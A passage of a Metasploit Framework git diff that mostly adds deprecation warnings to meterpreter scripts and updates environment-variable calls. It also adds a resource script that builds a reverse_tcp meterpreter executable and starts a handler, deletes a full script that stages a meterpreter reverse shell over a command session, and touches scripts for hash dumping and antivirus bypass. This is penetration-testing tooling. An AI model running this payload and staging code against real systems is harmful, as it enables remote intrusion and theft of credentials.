create_payload(payload_type,rhost,rport) -script = create_script(delay,altexe,raw) -script_on_target = write_script_to_target(target_dir,script) +raw = create_payload(payload_type, rhost, rport) +script = create_script(delay, altexe, raw) +script_on_target = write_script_to_target(target_dir, script) # Start Multi/Handler if autoconn - set_handler(payload_type,rhost,rport) + set_handler(payload_type, rhost, rport) end # Execute on target host diff --git a/scripts/meterpreter/pml_driver_config.rb b/scripts/meterpreter/pml_driver_config.rb index 625c16aed1..55e3df6474 100644 --- a/scripts/meterpreter/pml_driver_config.rb +++ b/scripts/meterpreter/pml_driver_config.rb @@ -5,6 +5,14 @@ # http://metasploit.com/framework/ ## +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # HP Multiple Products PML Driver HPZ12 Local Privilege Escalation. # @@ -70,7 +78,7 @@ if client.platform =~ /win32|win64/ exe = Msf::Util::EXE.to_win32pe(client.framework, raw) # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") + tempdir = client.sys.config.getenv('TEMP') tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" print_status("Sending EXE payload '#{tempexe}'.") fd = client.fs.file.new(tempexe, "wb") diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 9c6797702a..a65ba32bf1 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index 64eaaecec2..97e346b5ff 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 @@ -19,7 +27,7 @@ require 'digest/sha1' "-l" => [ false, "Download Prefetch Folder Analysis Log"] ) -@tempdir = @session.fs.file.expand_path("%TEMP%") +@tempdir = @session.sys.config.getenv('TEMP') #--------------------------------------------------------------------------------------------------------- def read_program_list diff --git a/scripts/meterpreter/process_memdump.rb b/scripts/meterpreter/process_memdump.rb index 44e82c930f..46b9ef3235 100644 --- a/scripts/meterpreter/process_memdump.rb +++ b/scripts/meterpreter/process_memdump.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Note: Script is based on the paper Neurosurgery With Meterpreter by # Colin Ames (amesc[at]attackresearch.com) David Kerb (dkerb[at]attackresearch.com) diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 390ee6b99a..1e5385f678 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -57,7 +65,7 @@ def wmicexec(session,wmic,user,pass,trgt) runfail = 0 runningas = session.sys.config.getuid begin - tmp = session.fs.file.expand_path("%TEMP%") + tmp = session.sys.config.getenv('TEMP') # Temporary file on windows host to store results wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index adc89c5150..4f3e9d72fe 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as @@ -179,7 +186,7 @@ end #--------------------------------------------------------------------------------------------------------- def upload(session,file) - location = session.fs.file.expand_path("%TEMP%") + location = session.sys.config.getenv('TEMP') fileontrgt = "#{location}\\svhost#{rand(100)}.exe" print_status("Uploading #{file}....") session.fs.file.upload_file("#{fileontrgt}","#{file}") diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index e74e08da35..cb412cca16 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet @@ -99,6 +107,10 @@ upload_fn = nil end } +envs = session.sys.config.getenvs('SystemRoot', 'TEMP') +sysdir = envs['SystemRoot'] +tmpdir = envs['TEMP'] + # Must have at least one of -c or -u if not cmd and not upload_fn print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") @@ -110,9 +122,8 @@ if not cmd and not upload_fn raw = pay.generate exe = Msf::Util::EXE.to_win32pe(client.framework, raw) #and placing it on the target in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tempdir + "\\" + tempexename + ".exe" + cmd = tmpdir + "\\" + tempexename + ".exe" print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") fd = client.fs.file.new(cmd, "wb") fd.write(exe) @@ -139,8 +150,6 @@ end # # Upload the payload command if needed # -sysdir = session.fs.file.expand_path("%SystemRoot%") -tmpdir = session.fs.file.expand_path("%TEMP%") if upload_fn begin location = tmpdir.dup diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index c17a82378f..a1ede35ca5 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for abusing the scheduler service in windows #by scheduling and running a list of command against one or more targets diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index 69faa5dd95..0e18c77172 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through @@ -73,7 +80,7 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + unsupported if client.platform !~ /win32|win64/i begin - tmp = client.fs.file.expand_path("%TEMP%") + tmp = client.sys.config.getenv('TEMP') print_status("Gathering basic system information...") diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index b95c87c221..14dd1036e3 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index a7cb6313d2..77c1f86b84 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,3 +1,11 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + + # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 2c633f860e..1c5148bfc4 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index f112ef47f4..322136a22d 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez handler.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true ) #attempt to make new service @@ -129,7 +139,7 @@ service_list.each do |serv| moved = false configed = false #default path, but there should be an ImagePath registry key - source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + source = "#{sysdir}\\system32\\#{serv}.exe" #get path to exe; parse out quotes and arguments sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s sourcemaybe = client.fs.file.expand_path(sourceorig) diff --git a/scripts/meterpreter/sound_recorder.rb b/scripts/meterpreter/sound_recorder.rb index 84dfdaebe7..a930ae628c 100644 --- a/scripts/meterpreter/sound_recorder.rb +++ b/scripts/meterpreter/sound_recorder.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index 0b6f622ede..8d1f683124 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + ## # South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation. # @@ -87,7 +94,7 @@ client.sys.process.get_processes().each do |m| exe = Msf::Util::EXE.to_win32pe(client.framework, raw) # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") + tempdir = client.sys.config.getenv('TEMP') tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" print_status("Sending EXE payload '#{tempexe}'.") fd = client.fs.file.new(tempexe, "wb") diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index e7044b5360..59f576be53 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -1,3 +1,9 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + session = client @@exec_opts = Rex::Parser::Arguments.new( @@ -23,7 +29,7 @@ def upload(session,file,trgloc = "") raise "File to Upload does not exists!" else if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") + location = session.sys.config.getenv('TEMP') else location = trgloc end diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 910e8f595d..47615b559b 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script for triggering the VirtualBox DoS published at: # http://milw0rm.com/exploits/9323 diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index ccb56af973..97c491e458 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic # order which keeps VirusScan icon visible at system tray without disabled sign on it. # Additionally it lets you disable On Access Scanner from registry, upload your detectable @@ -32,7 +39,7 @@ def upload(session,file,trgloc) if not ::File.exists?(file) raise "File to Upload does not exists!" else - @location = session.fs.file.expand_path("%TEMP%") + @location = session.sys.config.getenv('TEMP') begin ext = file.scan(/\S*(.exe)/i) if ext.join == ".exe" diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index bda180d16f..8151145334 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script for obtaining a quick VNC session # @@ -152,7 +159,7 @@ else # # Upload to the filesystem # - tempdir = client.fs.file.expand_path("%TEMP%") + tempdir = client.sys.config.getenv('TEMP') tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tempexe.gsub!("\\\\", "\\") diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index 0292faf398..bc878ef09d 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: scriptjunkie # # Simplify running webcam, whether grabbing a single frame or running diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 94bd070f03..84ee64e104 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # Meterpreter script to deploy & run the "plink" commandline ssh-client # supports only MS-Windows-2k/XP/Vista Hosts @@ -87,7 +94,7 @@ def upload(client,file,trgloc = nil) raise "File to Upload does not exists!" else if trgloc == nil - location = client.fs.file.expand_path("%TEMP%") + location = client.sys.config.getenv('TEMP') else location = trgloc end diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index e909ef6eea..ecd50c2e5d 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # # meterpreter-script to deploy + run OpenSSH # on the target machine diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index ee4e925d62..1ab03dae9d 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index f494c5076e..864aebd70a 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -264,7 +271,7 @@ def wmicexec(wmiccmds= nil) @client.response_timeout=120 begin - tmp = @client.fs.file.expand_path("%TEMP%") + tmp = @client.sys.config.getenv('TEMP') wmiccmds.each do |wmi| if i < 10 @@ -409,7 +416,7 @@ end def chmace(cmds) windir = '' print_status("Changing Access Time, Modified Time and Created Time of Files Used") - windir = @client.fs.file.expand_path("%WinDir%") + windir = @client.sys.config.getenv('WinDir') cmds.each do |c| begin @client.core.use("priv") @@ -430,7 +437,7 @@ def regdump(pathoflogs,filename) #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress garbage = '' hives = %w{HKCU HKLM HKCC HKCR HKU} - windir = @client.fs.file.expand_path("%WinDir%") + windir = @client.sys.config.getenv('WinDir') print_status('Dumping and Downloading the Registry') hives.each do |hive| begin diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index 0e038478a0..4900da889e 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -1,3 +1,10 @@ +## +# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. +# If you'd like to imporve this script, please try to port it as a post +# module instead. Thank you. +## + + #Meterpreter script for running WMIC commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @@ -22,7 +29,7 @@ def wmicexec(session,wmiccmds= nil) tmpout = '' session.response_timeout=120 begin - tmp = session.fs.file.expand_path("%TEMP%") + tmp = session.sys.config.getenv('TEMP') wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) wmiccmds.each do |wmi| print_status "running command wmic #{wmi}" diff --git a/scripts/resource/auto_brute.rc b/scripts/resource/auto_brute.rc index 157afff0d9..b369c2b581 100644 --- a/scripts/resource/auto_brute.rc +++ b/scripts/resource/auto_brute.rc @@ -72,7 +72,7 @@ end framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) # for now we only brute force these services, you can add some more ... next if not (serv.name =~ /smb/ or diff --git a/scripts/resource/auto_cred_checker.rc b/scripts/resource/auto_cred_checker.rc index 6e726f4759..f39f730eca 100644 --- a/scripts/resource/auto_cred_checker.rc +++ b/scripts/resource/auto_cred_checker.rc @@ -56,7 +56,7 @@ framework.db.creds.each do |creds| framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) # for now we only check these services, you can add some more ... next if not (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or diff --git a/scripts/resource/auto_pass_the_hash.rc b/scripts/resource/auto_pass_the_hash.rc index f87b4ef469..026e8cb08c 100644 --- a/scripts/resource/auto_pass_the_hash.rc +++ b/scripts/resource/auto_pass_the_hash.rc @@ -80,7 +80,7 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /smb/) print_line("using psexec - Pass the hash") diff --git a/scripts/resource/auto_win32_multihandler.rc b/scripts/resource/auto_win32_multihandler.rc new file mode 100644 index 0000000000..2da32a1d70 --- /dev/null +++ b/scripts/resource/auto_win32_multihandler.rc @@ -0,0 +1,28 @@ + +PAYLOAD = 'windows/meterpreter/reverse_tcp' + +def payload_lhost + framework.datastore['LHOST'] || Rex::Socket.source_address +end + +def payload_lport + framework.datastore['LPORT'] || 4444 +end + +def out_path + "#{Msf::Config::local_directory}/meterpreter_reverse_tcp.exe" +end + +run_single("use payload/#{PAYLOAD}") +run_single("set lhost #{payload_lhost}") +run_single("set lport #{payload_lport}") +run_single("generate -t exe -f #{out_path}") +print_status("#{PAYLOAD}'s LHOST=#{payload_lhost}, LPORT=#{payload_lport}") +print_status("#{PAYLOAD} is at #{out_path}") +run_single('use exploit/multi/handler') +run_single("set payload #{PAYLOAD}") +run_single("set lhost #{payload_lhost}") +run_single("set lport #{payload_lport}") +run_single('set exitonsession false') +run_single('run -j') + \ No newline at end of file diff --git a/scripts/resource/autocrawler.rc b/scripts/resource/autocrawler.rc index 2306d60187..058ce86226 100644 --- a/scripts/resource/autocrawler.rc +++ b/scripts/resource/autocrawler.rc @@ -34,7 +34,7 @@ end framework.db.workspace.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /http/) if(verbose == 1) diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc index 20122a9bd4..e8a741158e 100644 --- a/scripts/resource/basic_discovery.rc +++ b/scripts/resource/basic_discovery.rc @@ -114,7 +114,7 @@ run_single("unsetg RHOSTS") # we dont need it anymore framework.db.workspace.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) #next if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137 or serv.name =~ /smtp/ or serv.port == 25 or serv.name =~ /snmp/ or serv.port == 161 or serv.name =~ /ssh/ or serv.port == 22 or serv.name =~ /telnet/ or serv.port == 23) if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137) if(serv.port == 445) diff --git a/scripts/resource/port_cleaner.rc b/scripts/resource/port_cleaner.rc index 85c48b7995..5e7407ced0 100644 --- a/scripts/resource/port_cleaner.rc +++ b/scripts/resource/port_cleaner.rc @@ -16,7 +16,7 @@ counter = 0 framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - if (serv.state != ServiceState::Open) + if (serv.state != Msf::ServiceState::Open) print_line("cleaning closed services (Port: #{serv.port.to_i} / Host: #{host.address})") run_single("services -d -p #{serv.port.to_i} -r #{serv.proto} #{host.address}") counter = counter + 1 diff --git a/scripts/resource/wmap_autotest.rc b/scripts/resource/wmap_autotest.rc index 3784d8f665..66b51faec5 100644 --- a/scripts/resource/wmap_autotest.rc +++ b/scripts/resource/wmap_autotest.rc @@ -47,7 +47,7 @@ end framework.db.hosts.each do |host| host.services.each do |serv| next if not serv.host - next if (serv.state != ServiceState::Open) + next if (serv.state != Msf::ServiceState::Open) next if (serv.name !~ /http/) if(verbose == 1) diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb deleted file mode 100644 index 87a87ce691..0000000000 --- a/scripts/shell/spawn_meterpreter.rb +++ /dev/null @@ -1,177 +0,0 @@ -# -# Spawn a meterpreter session using an existing command shell session -# -# NOTE: Some of the following code is duplicated from the VBS CmdStager -# -# This is really only to prove the concept for now. -# -# -jduck -# - - -# -# Show the progress of the upload -# -def progress(total, sent) - done = (sent.to_f / total.to_f) * 100 - print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) -end - - -# -# Returns if a port is used by a session -# -def is_port_used?(port) - framework.sessions.each do |sid, obj| - local_info = obj.instance_variable_get(:@local_info) - return true if local_info =~ /:#{port}$/ - end - - false -end - -# -# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost -# -lhost = framework.datastore['LHOST'] -unless lhost - lhost = Rex::Socket.source_address -end - -# -# If there is no LPORT defined in framework, then pick a random one that's not used -# by current sessions. This is possible if the user assumes module datastore options -# are the same as framework datastore options. -# -lport = framework.datastore['LPORT'] -unless lport - lport = 4444 # Default meterpreter port - while is_port_used?(lport) - # Pick a port that's not used - lport = [*49152..65535].sample - end -end - -# maybe we want our sessions going to another instance? -use_handler = true -use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true) - -# Process special var/val pairs... -# XXX: Not supported yet... -#Msf::Ui::Common.process_cli_arguments($framework, ARGV) - - -# Create the payload instance -payload_name = 'windows/meterpreter/reverse_tcp' -payload = framework.payloads.create(payload_name) -options = "LHOST=#{lhost} LPORT=#{lport}" -buf = payload.generate_simple('OptionStr' => options) - -# -# Spawn the handler if needed -# -aborted = false -begin - - mh = nil - if (use_handler) - mh = framework.modules.create("exploit/multi/handler") - mh.datastore['LPORT'] = lport - mh.datastore['LHOST'] = lhost - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['ExitOnSession'] = false - mh.datastore['EXITFUNC'] = 'process' - mh.exploit_simple( - 'LocalInput' => session.user_input, - 'LocalOutput' => session.user_output, - 'Payload' => payload_name, - 'RunAsJob' => true) - # It takes a little time for the resources to get set up, so sleep for - # a bit to make sure the exploit is fully working. Without this, - # mod.get_resource doesn't exist when we need it. - select(nil, nil, nil, 0.5) - if framework.jobs[mh.job_id.to_s].nil? - raise RuntimeError, "Failed to start multi/handler - is it already running?" - end - end - - - # - # Make the payload into an exe for the CmdStager - # - lplat = [Msf::Platform::Windows] - larch = [ARCH_X86] - linemax = 1700 - if (session.exploit_datastore['LineMax']) - linemax = session.exploit_datastore['LineMax'].to_i - end - opts = { - :linemax => linemax, - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"), - #:nodelete => true # keep temp files (for debugging) - } - exe = Msf::Util::EXE.to_executable(framework, larch, lplat, buf) - - - # - # Generate the stager command array - # - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - cmds = cmdstager.generate(opts) - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - - # - # Calculate the total size - # - total_bytes = 0 - cmds.each { |cmd| total_bytes += cmd.length } - - - # - # Run the commands one at a time - # - sent = 0 - cmds.each { |cmd| - ret = session.shell_command_token_win32(cmd) - if (not ret) - aborted = true - else - ret.strip! - if (not ret.empty?) - aborted = true - end - end - if aborted - print_error("Error: Unable to execute the following command:") - print_error(cmd.inspect) - print_error('Output: ' + ret.inspect) if ret and not ret.empty? - break - end - - sent += cmd.length - - progress(total_bytes, sent) - } -rescue ::Interrupt - # TODO: cleanup partial uploads! - aborted = true -rescue => e - print_error("Error: #{e}") - aborted = true -end - -# -# Stop the job -# -if (use_handler) - Thread.new do - if not aborted - # Wait up to 10 seconds for the session to come in.. - select(nil, nil, nil, 10) - end - framework.jobs.stop_job(mh.job_id) - end -end diff --git a/spec/factories/mdm/exported_web_vulns.rb b/spec/factories/mdm/exported_web_vulns.rb index 06ea041459..0e97fa6b6e 100644 --- a/spec/factories/mdm/exported_web_vulns.rb +++ b/spec/factories/mdm/exported_web_vulns.rb @@ -11,4 +11,4 @@ FactoryGirl.define do sequence :mdm_web_vuln_description do |n| "Mdm::WebVuln#description #{n}" end -end \ No newline at end of file +end diff --git a/spec/factories/mdm/module_details.rb b/spec/factories/mdm/module_details.rb index 4981482cca..c67f200128 100644 --- a/spec/factories/mdm/module_details.rb +++ b/spec/factories/mdm/module_details.rb @@ -6,4 +6,4 @@ FactoryGirl.modify do } end end -end \ No newline at end of file +end diff --git a/spec/file_fixtures/fake_common_roots.txt b/spec/file_fixtures/fake_common_roots.txt new file mode 100644 index 0000000000..9316db735d --- /dev/null +++ b/spec/file_fixtures/fake_common_roots.txt @@ -0,0 +1,3 @@ +password +root +toor \ No newline at end of file diff --git a/spec/file_fixtures/fake_default_wordlist.txt b/spec/file_fixtures/fake_default_wordlist.txt new file mode 100644 index 0000000000..0e27467f4b --- /dev/null +++ b/spec/file_fixtures/fake_default_wordlist.txt @@ -0,0 +1,3 @@ +changeme +summer123 +admin \ No newline at end of file diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 45798cd30f..a782633786 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -1,19 +1,16 @@ # -*- coding:binary -*- require 'spec_helper' -# helps with environment configuration to use for connection to database -require 'metasploit/framework' - -# load Mdm::Host for testing -MetasploitDataModels.require_models - describe ActiveRecord::ConnectionAdapters::ConnectionPool do + self.use_transactional_fixtures = false + def database_configurations YAML.load_file(database_configurations_pathname) end def database_configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # paths are always Array, but there should only be on 'config/database' entry + Rails.application.config.paths['config/database'].first end subject(:connection_pool) do @@ -24,7 +21,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do # used, so have to manually establish connection. before(:each) do ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + spec = ActiveRecord::Base.configurations[Rails.env] ActiveRecord::Base.establish_connection(spec) end @@ -47,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end context 'in thread with connection' do - it { should be_true } + it { should be_truthy } end context 'in thread without connection' do it 'should be false' do thread = Thread.new do Thread.current.should_not == main_thread - expect(active_connection?).to be_false + expect(active_connection?).to be_falsey end thread.join @@ -100,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true + expect(connection_pool.active_connection?).to be_truthy end context 'with error' do @@ -132,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do context 'without active thread connection' do it 'should return false from #active_connection?' do - 